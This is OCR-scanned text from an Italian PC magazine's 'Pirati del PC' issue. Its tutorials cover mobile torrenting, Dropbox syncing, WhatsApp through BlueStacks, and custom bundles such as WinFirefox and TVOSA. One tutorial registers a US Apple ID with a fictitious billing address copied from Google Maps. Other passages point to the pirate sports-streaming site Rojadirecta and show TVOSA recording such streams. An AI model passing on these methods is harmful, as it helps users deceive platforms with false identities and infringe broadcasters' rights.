premere su Cancel per fare sparire il messaggio. Per effettuare 
invece una ricerca, premiamo sul simbolo della lente di ingran¬ 
dimento. 
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Q 2 GB di spazio per il P2P mobile! 

Utilizzando un account Dropbox e le applicazioni per PC e Android, possiamo sincronizzare i file scaricati via Torrent 
con computer e smartphone. Una bella comodità vero? Vediamo come fare 



§£ Scanner multimediale in esecuzione.. 


^ Dropbox 


PtUoloads 

filesharing 


★ F 


^ Upto Dropbox 


_ 49.7 KB, 


,199...udio.CD1-NDRT.: 
modified 6 minutes ago 

199 lidio CT)?-NDRT. 



Hja _ r liti 


^Dropbox PtUploads ★ F 


Dropbox per il PC... 

Dopo esserci registrati a Dropbox (www. 
dropbox.com), ci viene chiesto se vogliamo 
installare il programma di gestione dello 
spazio Cloud nel computer. Con questo programma 
potremo trasferire facilmente i file scaricati via 
Torrent su Dropbox: basterà copiarli nell’apposita 
cartella del PC per sincronizzarli automaticamente 
su altri dispositivi (ad esempio sul cellulare). 


...eper lo smartphone 

Dal Play Store di Android (o dall’App Store se 
abbiamo un iPhone), installiamo l’applicazio¬ 
ne Dropbox sul telefonino. Quando la avvie¬ 
remo ed effettueremo il login con l’account registrato 
su Dropbox, vedremo i file caricati dal computer e 
potremo utilizzarli direttamente in un tap. Tutti i file 
presenti nelle singole cartelle del nostro spazio Drop- 
box sono visualizzabili sotto l'etichetta Dropbox. 


Upload istantaneo 

Ogni file scaricato sullo smartphone può 
essere a sua volta caricato nella nostra 
cartella Dropbox. Per farlo, una volta ese¬ 
guita l’applicazione, selezioniamo l’etichetta Uploads. 
Da qui, premiamo su Other filese navighiamo nelle 
cartelle del telefonino. Individuati i file, clicchiamo 
su Upload e attendiamo la sincronizzazione (trove¬ 
remo il file anche sul PC). 





“pescare” a costo zero! 


f"ì Scanner multimediale in esecuzione... 

Torrent Search (by Transdroid) 


Installare questa applicazione? 


Consenti all'applicazione: 

A Comunicazione di rete 


ubuntu-11.10-desktop-amdó! 

m Add torrent 

Name: 

ubuntu-11,10-desktop-i386.iso 

Saveto: 

/sdcard/torrent 


A H sa 32 

tT tTorrent Lite 


n m 

All • f Downloading Compì 

ubuntu-11.10-desktop-i386.iso 

Downloading - 0,0% EIA: 3h 33m Peer 

1 jRatio:0.000 Size:695,3 MB Up: 6,4 kB/s Downrlf 

Upioaded:0 B 


WmÈm&l 


Solo dai motori fidati 

Un nuovo messaggio ci indica subito la 
necessità di installare un componente 
supplementare del programma, quello che 
collega tTorrent Lite ai motori di ricerca on-line più 
diffusi e utilizzati. Premiamo quindi il tasto Installa 
per iniziare a scaricare e attendiamo il completa¬ 
mento del download. 


Effettuiamo il primo download 

Terminata l’installazione potremo cercare 
nei motori di ricerca e trovare gli stessi 
risultati che troveremmo con il computer. 
Trovato il file che ci interessa, premiamo sul suo 
nome per fare comparire la finestra di inizio down¬ 
load. Da qui possiamo scegliere i singoli file con¬ 
tenuti con Selectfileso avviare il Download. 


Gestione dei trasferimenti 

Durante il download di uno o più file, pos¬ 
siamo anche controllare lo stato di avan¬ 
zamento dei singoli flussi premendo 
l’icona /V/(per vedere tutti i file), Downloading (quel¬ 
li in corso) o Completed (dove sono riportati i file 
scaricati sul dispositivo e, quindi, già pronti da 
utilizzare). 
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OnLive Desktop 


Incredibile ma vero! Abbiamo trovato il modo per usare 

OS e suite Microsoft direttamente sul gioiellino Apple 


Cosa ci 

occorre 13/ 


Windows & Office 
gratis su iPad 


Q uesta è davvero bella! Usare un 
tablet con all’interno Windows 
7 e Office è un’esperienza che 
finora sembrava solo un miraggio e 
che in molti desiderano provare. Ad 
esempio per apprezzare i vantaggi del 
multitouch coi software Microsoft o 
per avere ovunque e sempre con sé i 
propri file, documenti, fogli di calcolo 
e presentazioni multimediali. 

Grazie al servizio gratuito OnLive De¬ 
sktop tutto ciò oggi è possibile. Lanciato 
negli Stati Uniti, consente di avere su 
un tablet (iPad o Android) una versione 
virtualizzata di Windows 7 con tanto 
di applicazioni. In altre parole, è co¬ 
me avere un desktop PC sull’iPad o su 
una tavoletta Android per utilizzare i 


programmi Word, Excel, PowerPoint, 
Acrobat Reader X e anche Internet Ex¬ 
plorer per navigare sul Web senza le 
limitazioni tipiche dei tablet, come ad 
esempio i contenuti Flash non suppor¬ 
tati dall’iPad. 

Tu vo fa l’americano!!! 

Per ora è possibile installare OnLive 
Desktop esclusivamente scaricandola 
dalle versioni americale dell'Apple Store 
o di Google Play. Se, però, non vogliamo 
attendere che il servizio sia disponibile 
anche in Italia, possiamo ricorrere a 
un trucchetto per scaricare e utilizzare 
OnLive Desktop anche su un iPad. Nella 
sostanza dovremo crear un nostro Apple 
ID sull’App Store americano utilizzando 


un indirizzo geografico fittizio, come 
descritto nel tutorial in basso. 

Giusto qualche accortezza 

OnLive Desktop offre alcuni dei suoi 
servizi gratuitamente mentre altri (co¬ 
me la navigazione sul Web con Internet 
Explorer) sono disponibili solo sotto¬ 
scrivendo un abbonamento mensile. 
L’applicazione inoltre funziona sia col 
collegamento Wi-Fi sia con la rete 3G, 
solo che in questo caso la connessione 
al server viene interrotta dopo dieci mi¬ 
nuti. È importante, infine, che il colle¬ 
gamento abbia una banda superiore a 
1 Mbps, altrimenti diventa impossibile 
stabilire una connessione stabile con 
i server. 


TABLET CON DISPLAY 
MULTITOUCH 

IPAD 2 

Quanto costa: 

a partire da € 399,oo 

Sito Internet 

www.apple.it 


APP PER LA 
VIRTUALIZZAZIONE DI 
WINDOWS SU TABLET 

ONLIVE DESKTOP 

Sito Internet 

httpY/desktop onlive.com 


Facciamo un salto sull’App Store USA 

Ecco come creare un Apple ID per scaricare le applicazioni dallo store americano. Successivamente potremo 
procedere con il download e l’installazione di Onlive Desktop anche sugli iPad del Bel Paese. 



^ Cambiamo negozio 

■| Awiamo iTunes sul PC, selezioniamo iTunes 
w Store dal pannello di sinistra e assicuriamoc 
di aver fatto il logout dall’account Apple ID che utiliz¬ 
ziamo abitualmente. Spostiamoci in basso e clicchia 
mo sul logo con la bandiera dell’Italia. A questo punte 
cucchiamo sulla bandiera degli Stati Uniti pei passare 
allo store americano. 


a Registriamo l’account 

2 A questo punto andiamo neW'AppStoree cer- 
chiamo l'applicazione OnLive Desktop per 
iPad. Dopo averla trovata, cucchiamo sul pulsante 
Free App per procedere col download. Non essendo 
loggati allo Store, ci appare quindi un messaggio che 
ci chiede di iscriverci. Cucchiamo quindi sul pulsante 
Crea ID Apple. 


^ Inseriamo i dati 

3 : Premiamo su Continue , spuntiamo la casella 
relativa alle condizioni d’uso e cucchiamo su 
Agree. Nella finestra Provide Apple ID Details inseria¬ 
mo un indirizzo di posta elettronica valido ma diverso 
da quello già utilizzato per altri account Apple ID. Sce¬ 
gliamo quindi una Password inseriamo le altre infor¬ 
mazioni richieste e premiamo su Continue. 
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■ Ecco come si presenta il nostro tablet dopo aver installato l'app OnLive Desktop. 

Possiamo avere sulla nostra tavoletta i tool di Windows 7 e i programmi Word, Excel e PowerPoint. 


per scaricare Onlive Desktop 



^ Cambio di residenza 

4 I In Payment Type selezioniamo None Ora 
wJI in Billing Address dobbiamo inserire un 
indirizzo americano valido. Per procurarcene uno 
possiamo servirci ad esempio di Google Maps 
selezionando sulle mappe una qualsiasi attività. 
Dopo aver immesso i dati, proseguiamo cliccando 
su Create Apple ID. 


Verifichiamo il tutto 

Ci verrà inviata ora un’e-mail all’indiriz¬ 
zo fornito in fase di registrazione col link 
per verificare e attivare il nostro account. Verremo 
reindirizzati a una pagina in cui dovremo eseguire 
l’accesso inserendo i dati scelti per Apple ID ame¬ 
ricano. Clicchiamo su VerifyAddress e torniamo 
all’AppStore su iTunes. 


. 


iPad chiama Windows! 


Ora possiamo scaricare OnLive Desktop ed 
effettuare la sincronizzazione per trasferirlo 
sull’iPad. Prima di utilizzare l’app, andiamo sul sito 
http://desktop.onlive.com e clicchiamo su Sign Up per 
creare un account gratuito che ci servirà per utilizzare 
la nostra applicazione sul tablet in anteprima e senza 
pagare un centesimo. 
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Calcio internazionale non solo su Sky 


Calcio intemazionale 
non solo su Sky 

Nel palinsesto dell’emittente satellitare non sono più compresi 
i campionati spagnolo e tedesco? Ecco l’alternativa! 


C ome sappiamo, il servizio Sky Go 
consente di visualizzare i canali della 
piattaforma satellitare Sky sia su PC 
desktop sia su dispositivi portatili come ta¬ 
blet e smartphone, quindi anche in completa 
mobilita. Naturalmente, oltre a documentari 
e programmi di informazione e intratteni¬ 
mento, gli abbonati TV possono visualizza¬ 
re tramite Sky Go tutta una serie di eventi 
sportivi e incontri di calcio. Per la stagione 
2012/2013 però, l'emittente televisiva non ha 
rinnovato i diritti per la trasmissione delle 
partite della Liga spagnola e della Bunde- 
sliga. Questo significa che nel palinsesto di 
Sky non saranno compresi gli incontri del 
campionato di calcio spagnolo e tedesco. 
Cosa possono fare allora tutti gli appassio¬ 
nati del pallone per riuscire a visualizzare 
comunque queste partite? Le alternative in 
questo caso sono due, una legale e una no. 

Una pay TV a tutto sport 

Quella legale consiste nel seguire gli eventi 
sportivi suU’emittente Al Jazeera Sport. Que¬ 
sta pay TV satellitare trasmette le partite dei 
più importanti campionati di calcio europei 
e internazionali come, per l’appunto, quel¬ 
lo spagnolo (Liga BBVA) e quello tedesco 
(Bundesliga). L'offerta comprende, tra l’altro, 



• Per riprodurre gli eventi sportivi trasmessi in 
streaming da Rojadirecta il pirata non installa nulla: 
deve solo utilizzare il Web player integrato nel sito. 

anche gli incontri dei campionati francese, 
inglese, olandese, russo, brasiliano, argen¬ 
tino e messicano. L’unico inconveniente è 
che sono commentate in inglese, ma poco 
importa se a noi interessa di più seguire le 
azioni di gioco dei grandi campioni piuttosto 
che le telecronache. La tessera per l’abbo¬ 
namento annuale agli 8 canali di Al Jazeera 
Sport può essere acquistata sul sito Cesarex 
(www.cesarex.com) al 
costo di 109,90 euro. 

Il calcio 
estero in 
streaming 

C’è però chi non è 
disposto a spendere 
neppure un cente¬ 
simo per vedere il 
calcio in TV e quind i 
utilizza il Web (ov¬ 
viamente in maniera 
illegale) per accedere 
ai vari palinsesti te¬ 
levisivi e riprodurre 


in streaming le più importanti partite di 
calcio internazionali. Numerosi sono infatti 
i portali attraverso i quali i pirati riescono 
a visualizzare tutti i canali TV: ad esempio 
Rojadirecta.me, uno dei siti Internet pre¬ 
feriti da quanti amano guardare a scrocco 
le partite di calcio. Lo stesso sito, inoltre, è 
accessibile anche dallo smartphone me¬ 
diante l’app Online Sports, che permette 
di riprodurre pure i contenuti trasmessi sul 
portale Live TV. Qualunque sia il metodo per 
raggiungere questo sito, per i pirati è tutto 
semplice: nessuna registrazione e nessun 
pagamento per poter visualizzare un par¬ 
ticolare evento. Ma vale la pena infrangere 
la legge quando la qual ità video non è certo 
ad alta definizione? 



info aljazeerasport 


Bienvenid® 


J3C SPORT HD1 y HD2 en HotNrd 


FRLCUIHC1A. 

«013 






Codgo pfonodor»! TFOJSC* x fescwrto telo pn la compra di 


martes. 4 de septiembre de 2012 

Claàficadbn Mundial 2014 



18:00» Kazakistan vs Irlanda en Jsc Spemi 
1900»> Liechtenstein v* Bosnia en J»c Sport •? 


■ Sul blog http://infojsc.blogspot.it possiamo consultare il palinsesto di tutti gli eventi 
sportivi trasmessi dalla Pay TV satellitare Al Jazeera Sport. 
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Sei un operatore turìstico 

e vuoi promuovere la tua 
struttura sul TrovaViaggi? 


Fai conoscere la tua attività a 

più di 10 milioni di viaggiatori! 

Collegati a www.trovaviaggi.it 

Clicca sul box "Scopri il TrovaViaggi" 
Segui le istruzioni e... in pochi click 
la tua struttura sarà online! 


Turistipercaso.it è sempre più ricco e ti offre la possibilità 
di organizzare il tuo prossimo viaggio scegliendo tra 
le migliori Offerte speciali e Last minute proposti da 
Agenzie, Tour Operator, Hotel, B&B e Agriturismi. 


Cosa aspetti? Collegati a www.trovaviaggi.it 
e organizza la tua prossima vacanza! 
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SMS gratis da PC e cellulare | 


SMS gratis da 
PC e cellulare 


Cosa ci 

occorrevi/ 

EMULATORE ANDROID 

BlueStacks 

Lo trovi su: ‘■'CD 

Sito Internet: 

http://bluestacks.com 


Abbiamo scovato il modo per installare WhatsApp anche sul 
computer e messaggiare gratis e senza limiti con chiunque 


D isponibile per tutti i dispositivi mobile, 
WhatsApp Messenger è una delle app più 
scaricate dagli store on-line di Android, 
iOS, BlackBerry, Nokia e Windows Phone. La 
semplicità con cui è possibile inviare a costo 
zero messaggi di testo, oltre che immagini, 
video e messaggi audio, sfruttando la connes¬ 
sione dati (3G o Wi-Fi), insieme alla particolare 
funzionalità che permette di importare auto¬ 
maticamente l’elenco degli amici che come 
noi utilizzano WhatsApp, hanno permesso a 
questa applicazione di diventare la migliore 


alternativa ai costosi SMS, tanto che i provider 
di telefonia fanno di tutto per boicottarla. 

Non solo smartphone 

Anche se gli smartphone sono ormai diffusi, 
non tutti ne hanno uno, ma non per questo 
dobbiamo rinunciare alla possibilità di in¬ 
viare/ricevere messaggi senza spendere un 
centesimo. Grazie a BlueStacks, un emulatore 
di Android per sistemi operativi Windows e 
Mac, possiamo utilizzare WhatsApp anche 
sul nostro PC, godendo, inoltre, della praticità 


offerta dalla ben più comoda tastiera fisica di 
cui sono dotati i computer. Se abbiamo uno 
smartphone, ma preferiremmo utilizzare 
WhatsApp sul PC, è importante sapere che 
l’app permette di utilizzare l’account (abbinato 
al numero di cellulare) su un solo dispositivo 
per volta. Per cui, se installiamo WhatsApp sul 
PC, per poterlo riutilizzare sullo smartphone 
bisognerà ripetere la procedura di attivazione. 
Ma vuoi mettere la comodità di messaggiare 
con i nostri amici comodamente seduti davanti 
al monitor del computer? 




AGGIORNIAMO 
IL DRIVER 


Su PC sprovvisti di 
un'adeguata scheda 
video o non aggiornati 
con gli ultimi driver, 
durante l'installazione 
può comparire un 
messaggio che ci avvisa 
dell'impossibilità di 
utilizzare BlueStacks 
per l'esecuzione di app 
(soprattutto giochi) 
che richiedono elevate 
prestazioni. Chiudiamo 
l'avviso per proseguire 
l'installazione, certi 
che potremo comunque 
utilizzare WhatsApp, e 
proviamo a risolvere i 
problemi con l'esecuzio¬ 
ne di app più fameliche 
di risorse di sistema ag¬ 
giornando il driver della 
scheda video installata 
sul nostro PC. 


□ Android sul tuo PC 



Games S 


Per installare BlueStacks sul computer occorre avere un collegamento a Internet attivo, 
necessario per scaricare tutti i file di configurazione. Ecco come procedere. 


Installing BlueStacks 


Dowmoading BlueStacks 




Welcome to BlueStacks 

Over five milion download* and countmg . 


By dhckng Corani» I acccc* fw «nrn m te lem* m, 




UHM* 


^ Virtualizziamo Android 

■j ; Estraiamo l’archivio compresso BlueStacks.zip 
w (presente su Win CD-ROM) e lanciamo con un dop¬ 
pio clic il file BlueStacks-Thinlnstaller.exe. Attiviamo la 
connessione a Internet, clicchiamo su Continue e prose¬ 
guiamo con Instali. 


^ Qualche intoppo può succedere 

2 ! Aspettiamo che l’installer scarichi i file necessari e, 
V —f nel caso in cui il download s’interrompa (può succe¬ 
dere), clicchiamo su OK e lanciamo nuovamente il file Blue¬ 
Stacks-Thinlnstaller.exe per ultimare la procedura, rispon¬ 
dendo Sì quando richiesto. 


84 Win Magazine Speciale 

























SMS gratis da PC e cellulare 


Pirati del 


a SMS infiniti verso tutti 


Terminata l’installazione di WhatsApp, potremo configurarlo per inviare messaggi gratuiti da PC verso tutti 
i dispositivi mobile. E senza più preoccuparci di consumare il nostro credito tefeTonico. 



^ Android in punta di clic 

■| 1 BlueStacks verrà automaticamente esegui- 
to; in caso contrario possiamo servirci del 
collegamento aggiunto al desktop. Al posto delle 
dita, per muoverci tra le schermate useremo il cur¬ 
sore e il tasto sinistro del mouse (tenendolo pre¬ 
muto attiveremo lo scrolling). 


Add Store dedicato 

Proprio come sui dispositivi mobile Android, 
BlueStacks permette di installare le app 
reperite negli Store (App Storetf con un semplice 
clic. Nel caso di WhatsApp la cosa è ancora più 
semplice, in quanto il collegamento è raggiungibi¬ 
le cliccando sul pulsante Messaging. 


Rapida e indolore 

L’app sarà installata senza richiedere 
alcuna conferma e al termine troveremo 
WhatsApp nell’elenco MyApps. Clicchiamoci su 
per avviare l’app, accettiamo i termini con Con¬ 
ferma e continua e prendiamo il cellulare che ci 
servirà ner ricevere il codice di verifica. 



^ Diamogli il numero 

4 Facciamo clic nella casella II tuo paese e 
^mJ selezioniamo Italia, mentre in quella subito 
sotto digiteremo il nostro numero di cellulare usan¬ 
do la tastiera sullo schermo, oppure quella fisica 
del nostro computer. Clicchiamo su OK e confer¬ 
miamo nuovamente con OK. 


Verifica alternativa 

Poiché il nostro PC non può inviare SMS, il 
primo step di verifica non darà esito posi¬ 
tivo: solo allo scadere dei 10 minuti previsti potre¬ 
mo passare alla verifica alternativa. Nel frattempo 
riceveremo un SMS sul nostro cellulare contenente 
il codice di verifica. 


Pronto, sono WhatsApp 

0 1 Se l'SMS non viene recapitato, cliccando 
igpj Chiamami riceveremo una chiamata che 
ci detterà le 3 cifre del codice di verifica. Ottenu¬ 
to il codice, non resta che inserirlo nell’apposita 
casella, digitare il nome con cui apparire nell'elen¬ 
co contatti e cliccare Successivo. 



^ Registriamoicontatti... 

7 | Siccome non lo stiamo utilizzando da 
un cellulare, prima di iniziare a utilizzare 
WhatsApp sarà necessario creare i contatti. Per 
farlo clicchiamo sul pulsante Menu/Contatti, pigia¬ 
mo ancora su Menu/Nuovo Contatto e riempiamo 
i campi richiesti per poi cliccare Salva. 


a .. ,o importiamoli in massa 

g | In alternativa, se abbiamo un file di contat- 
w ti in formato vCard (magari quello estratto 
dalla memoria del nostro cellulare), basta inserirlo 
nella cartella Documenti del nostro PC e importar¬ 
lo in WhatsApp usando l'opzione Contatti/lmporta- 
Esporta/importa da scheda SD. 


▲ Che comodità la tastiera 

0 I Ora che abbiamo inserito i contatti, ritor- 
niamo alla schermata iniziale di WhatsApp 
usando la freccia in basso a sinistra, clicchiamo 
sulla matita, selezioniamo il contatto, digitiamo il 
messaggio con la comodità di una tastiera fisica e 
pigiamo Invio per spedirlo. 
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C Pirati del PC 


| Software: versioni truccate 



Dai nostri laboratori le nuove ed 
esclusive versioni complete di 
e-Mule, Photoshop, Nero, Firefox... 


Cosaci 
occorre 

SPECIALE UTILITY 

SECRET 

SOFTWARE 

Lo trovi su: PfCD 

Sito Internet 

www.winmagazine.it 
Note: All’interno del 
pacchetto Secret 
Software trovi le 
versioni aggiornate dei 
seguenti programmi: 

• Win eMule 2013 

• Win Firefox 

• TVosa 3.7 

• Infra Recorder 0.52 

• Scova Scareware 

• Spyware 
Terminator 2012 

• Clam Antivirus 0.97.5 

• NVU1.0 

• TheGimp 


N avigando in Internet ci sarà sicuramente 
capitato di imbatterci in decine di ver¬ 
sioni di software, alcuni dei quali molto 
famosi, realizzate dagli utenti allo scopo di 
aggiungere ad essi nuove funzionalità, render¬ 
li avviabili da chiavetta o altro. Nascono così 
i vari Windows XP Black Edition, Photoshop 
Portable, e così via. Si tratta ovviamente di 
modifiche non autorizzate di programmi 
che il più delle volte sono a pagamento, mo¬ 
tivo per cui tali release sono da considerarsi 
illegali. Noi di Win Magazine abbiamo invece 
pensato di mettere a punto delle versioni spe¬ 
ciali e potenziate di software come Firefox, 
TVOSA ed eMule, per arricchirli di funzioni 
mai viste, il tutto gratuitamente e in maniera 
assolutamente legale. 

Superprogrammi sul PC 

Nei nostri laboratori abbiamo infatti realizza¬ 
to WinFirefox, una versione per->sonalizzata 
del noto Mozilla Firefox che ci consente di 
navigare alla massima velocità ed in pieno 
anonimato. WinFirefox è in grado di trasfor¬ 
marsi anche in un Client di posta elettronHca, 
cercare in Rete tutta la mu->sica che vogliamo, 
scaricare sul computer i video di YouTube e 
gestire i nostri accountFacebook. Insomma, 
WinFirefox è proprio il browser che tutti vor¬ 
rebbero avere! Le sorprese non finiscono qui. 
Win Magazine ha anche preparato e messo a 
disposizione dei propri lettori TVOSA Lite, un 
tuner TV software per guardare i canali TV e 
programmare le registrazioni trasformando 
il computer in un vero e proprio videoregi¬ 
stratore. Con Win-eMule potremo invece 
effettuare ricerche avanzate con le keyword 
più utilizzate sulle reti P2P. Ed infine, grazie 
a WinAntivirus potremo difendere il PC da 
ogni minaccia informatica. Continuiamo 
a leggere e scopriremo tutte le novità della 
Win-PC Suite. 


nU «^' H6 


Software: ecco le 

—=—I bucate 




*r*K»*- » 


***«- 


gp m i & 











Software: versioni truccate 


Pirati del PCC" 


«i II browser diventa più social 

Con la versione di Firefox personalizzata da Win Magazine puoi navigare in Internet in perfetto anonimato, scaricare 
video e musica dal Web e gestire direttamente dall’interfaccia i tuoi account Gmail e Facebook. 



a Installiamo il programma 

■| | Scompattiamo sull'hard disk il contenuto del 
JLj file Winfirefox.zip presente sul Win CD-Rom 
ed eseguiamo il file WinFirefox.exe. Dopo qualche 
secondo vedremo comparire sul desktop l'icona di 
Firefox: facciamo doppio clic su di essa per avviare 
il programma. 



» <r * . # O- 




a| Aggiungiamo tutti i plug-in 

^ Ripetiamo l’operazione che abbiamo esegui- 
SmJ to al Passo 3 per tutti i componenti aggiun¬ 
tivi (Gmail Manager, YouTube Downloader, Facebook 
Toolbar, ecc) di cui ci viene proposta l’installazione. Al 
termine dell’installazione di tutti i plug-in WinFirefox 
caricherà l’home page di Win Magazine Community. 


▲ Il browser predefinito 

2 j Quando compare la schermata Importazio- 
ne guidata, selezioniamo il browser da cui 
importare segnalibri e altri dati (in alternativa sceglia¬ 
mo Non importare nulla) e premiamo Avanti. Nella 
finestra Browser predefinito cucchiamo Sì per impo¬ 
stare Firefox come browser predefinito. 



^ Un’occhiata all’elenco 

g 1 Per visualizzare l’elenco completo dei com- 
wJ ponenti aggiuntivi installati nel browser basta 
andare nel menu Firefox e fare clic sulla voce Com¬ 
ponenti aggiuntivi. Se desideriamo disattivarne uno 
senza disinstallarlo premiamo il pulsante Disattiva che 
troviamo nello stesso riquadro del componente. 


▲ Il setup dei componenti 

2 ! A questo punto vedremo comparire all'inter- 
no del browser una nuova finestra che ci invi¬ 
ta ad installare il componente aggiuntivo Java Conso¬ 
le. Spuntiamo la casella di controllo Permetti questa 
installazione, premiamo Continua, quindi clicchiamo 
su Riavvia Firefox. 



a Scaricare video in un clic 

0 j WinFirefox adesso è pronto per l’uso. Grazie 
alle estensioni integrate potremo, ad esem¬ 
pio, gestire direttamente dall’interfaccia del browser 
il nostro account Facebook oppure scaricare un video 
da YouTube semplicemente cuccando sul simbolo con 
le frecce verdi accanto al nome del filmato. 


CREA GRATIS IL TUO SITO WEB IN POCHI CLIC 

Chi di noi non ha mai desiderato un 
blog o comunque un piccolo angolo 
sul Web dove condividere con gli altri internauti 
pensieri o risorseZTralasciando piattaforme gratu¬ 
ite come Joomla o Wordpress, qualora volessimo 
realizzare da zero il nostro sito Internet dovremo 
necessariamente affidarci ad un software di Web 
editing, come ad esempio Microsoft FrontPage, 
ovviamente a pagamento. Win Magazine invece 
ha scovato un'alternativa totalmente gratuita e 
altrettanto prestante: Nvu (http://net2.com/nvu). 

La semplicità d’uso è disarmante: in pochi clic 
riusciremo infatti ad allestire una pagina Web. 
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PROVARE PRIMA 
DI REGISTRARE 

Per registrare un canale 
con TVOSA è sufficiente 
premere il pulsante 
Rtt. Non sempre, però, 
sarà possibile farlo. Per 
esserne sicuri, possiamo 
prima provare ad avvia¬ 
re la visione premendo 
il pulsante Play. Se la ri- 
produzione parte su VLC 
allora con molta pro¬ 
babilità saremo anche 
in grado di registrarlo 
odi programmamela 
registrazione. 

SOLO A 

PROGRAMMA 

AVVIATO 

È bene ricordare che 
TVOSA può registrare 
i canali TV solo se il 
computer è acceso e 
se il servizio è avviato. 
Non è necessario che la 
finestra di TVOSA Lite 
sia aperta sul desktop: 
basta che nella barra di 
notifiche di Windows ci 
sia l'icona del servizio 
TVOSA eh e viene avvia¬ 
to automaticamente 
quando si avvia il pro¬ 
gramma. 


TV virtuale da sintonizzare 

TVOSA Lite è un tuner TV software che, una volta installato e configurato, permette di guardare i canali 
televisivi e programmare le registrazioni dal computer. 
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Registrazione per tutti 

Spostiamoci nella scheda Canali e assicuriamoci che sia 
spuntata la voce Su siti gestiti utilizza in automatico livet- 
vonvlc. Questa impostazione permetterà di registrare in molti casi 
anche i canali Mediaset: dipende se il sito da cui viene preso lo stre¬ 
aming è gestito o meno da LiveTvOnVIc. 



La nuova interfaccia 

TVOSA Lite si presenta con un'interfaccia semplificata per 
consentirci di usare solo le funzioni principali. Al centro avre¬ 
mo la lista di tutti i canali disponibili e per ognuno di essi è possibile 
eseguire alcune operazioni mediante i relativi pulsanti. Clicchiamo 
Play per avviarne lo streaming. 


Ecco il palinsesto 

2 j Premiamo Programming (il terzo pulsante da sinistra pre¬ 
sente in Actiorti: viene mostrata, se disponibile, la program¬ 
mazione attuale e quella delle prossime ore della giornata con i tasti 
per metterla in visione o per registrarla. Per visualizzare l'intera lista 
canali, verifichiamo che sia attiva la voce Full in Option Channel. 



Prepariamoci a registrare 

Selezioniamo ora Option/Full Option/Setta VLC, andiamo 
nella cartella d'installazione di VLC (se non lo abbiamo già 
fatto, installiamolo: il software è presente sul Win CD-Rom) e sele¬ 
zioniamo il file vlc.exe. Impostiamo .asfcome formato di registra¬ 
zione preferito. 


La scelta giusta per le reti 

Spostiamoci nel tab Avanzate e impostiamo VLC per tutti i 
canali RAI in modo da usare VLC per visualizzare gli strea¬ 
ming della TV di Stato. Per quelli Mediaset, selezioniamo Web, il che 
vuol dire che per la visione verrà aperta una finestra del browser. 
Clicchiamo Salva per confermare le modifiche. 



Unomattina Stc’ 
Tgi 

Tgl Economia 
Tgl Focus 


Sintonizziamoci in diretta 

Tornati alla finestra principale di TVOSA possiamo iniziare a 
guardare la TV via Web. Basta cliccare Play accanto al cana¬ 
le desiderato e attendere qualche secondo affinché lo streaming sia 
disponibile in VLC. Se dovessimo riscontrare problemi, da Avanzate 
impostiamo la visione dei canali su Web. 
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e Fai il pieno di sport 

Ecco come guardare i più importanti eventi sportivi trasmessi in diretta sul Web: con TVOSA saremo sempre a bordo 
campo per sostenere i nostri beniamini! 










Sport 

iij 

A 

ORARIO : 11:10 Tanta da mere Tatto tcrmta (): Challenger Sart 


j 1 

è 

ORARIO 12:00 Tarn la (ATP Challenger Tour) Aagon NothngN 





Extra 


A 

ORARIO 12:00 Ritto! «emanino Women'a football 




ORARIO 14.00 Fùttol aala Futaal (Superila ruta Rusaian Suo 

: go to ì 


* 

ORARIO 14:30 Cricket (OyOesòele Bank 40): tsaa» - Ulouceat 

TVOSA 

■ S i 

A 

ORARIO 14:45 Rugby (Mundtal Iunior IRB Iunior World Cherr* 


1* i 

A 

ORARIO : 14:45 Rugby (Mundial Iunior IRB Junior World dumi 


Jj 

* 

ORARIO 15:00 Ottamo CycDng (): Criterium du Daupttne 201 



* 

neaaio rum rtlrtrf uh irjjto.fjMawtorida rijif-: ~ 


Eimrt 

Film 






Today 


l' Today & futura j ' Extra loto 




^ Impostazioni iniziali 

Giochiamo SPORT & FILM in TVOSA per 
accedere alla sezione dedicata. Ci troveremo 
davanti una pagina vuota: nel campo Google scriviamo 
la parola streaming mentre in quello YouTube digi¬ 
tiamo trailer ita. Non dovremo riscriverlo le volte suc¬ 
cessive perché il tutto verrà salvato nell’applicazione. 


^ Tanto sport con un clic 

2 I Se vogliamo cercare un evento sportivo tra- 
smesso sul Web e vederlo su TVOSA, cucchia¬ 
mo il pulsante Today o Today & Feature. Nel caso la 
prima non dovesse dare i risultati sperati, basterà pro¬ 
vare con la seconda. TVOSA ci mostrerà gli eventi tro¬ 
vati con indicata l'ora e una breve descrizione. 


^ Ed ecco il link! 

3 I Non resta che cliccare sulla G accanto 
all'evento che vogliamo visualizzare: si apri¬ 
rà una pagina di Google dove con molta probabilità 
troveremo qualche link per visualizzare in streaming 
l’evento sportivo. Potrebbe essere necessario ripetere 
la ricerca perché non sempre i link sono funzionanti. 



Link or Links SawUve I 

http //www rojadirecta me/goto/www casti tv/embed php? 
v«Hisports981 &vw-600&vh-450&video-0&domam-www rojadu 


Start N oW 


Progromming Live Ree 

set day to start lunedì E 9 *ugno 2012 

set hour to start 18:31 




Registriamo ali eventi sportivi 

4 I Se il link per lo streaming dell'evento scelto 
SmmJ è supportato da LiveTvOnVIc, vengono auto¬ 
maticamente avviate la registrazione e la riproduzione 
su VLC. Lo streaming verrà salvato nella directory MM 
presente nella cartella d’installazione di TVOSA e da lì 
potremo anche riawiame la riproduzione. 


Programmiamo la visione 

g i Per registrare un evento sportivo sarà suffi- 
***** dente inserire nel campo Link l’indirizzo del¬ 
la pagina di livetvonvlc, contenente info sull’evento. 
Premiamo ProGraMMinge impostiamo nella sezione 
Programming Live Ree data e ora in cui avviare la 
registrazione dell'evento. 


^ Nostalgici del telecomando 

0 1 Per usare il telecomando virtuale di TVOSA, 
cucchiamo Go to TVOSA: verrà mostrata una 
nuova interfaccia in cui sono comunque presenti tutte 
le funzioni, compresa la ricerca per gli eventi sportivi. 
Con il telecomando potremo anche controllare quando 
si rendono disponibili eventuali update. 
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MASTERIZZA SENZA LIMITI! 


Fra i programmi scac¬ 
cia crisi, non poteva di 
certo mancare una soluzione per 
masterizzare dati, musica efilmati 
a costo zero. Win Magazine ha 
deciso quindi di completare il suo 
parco software con Infrarecorder 
(http://infrarecorder.org), open 
source e che ha fatto della sem¬ 
plicità d'uso uno dei suoi punti 
di forza. In pochi clic riusciremo 
quindi a realizzare la nostra com¬ 
pilation audio preferita (magari 


con i file MP3 scaricati da WinFire- 
fox). Nativamente, Infrarecorder, è 
distribuito solo in lingua inglese, 
ma con il nostro plug-in riuscire¬ 
mo a trasformarlo con un linguag¬ 
gio più familiare in pochi secondi. 
Essendo un software decisamente 
leggero, è adatto a qualsiasi tipo 
di computer, anche quelli un po’ 
più datati. Diciamo quindi addio 
a programmi proprietari e dal 
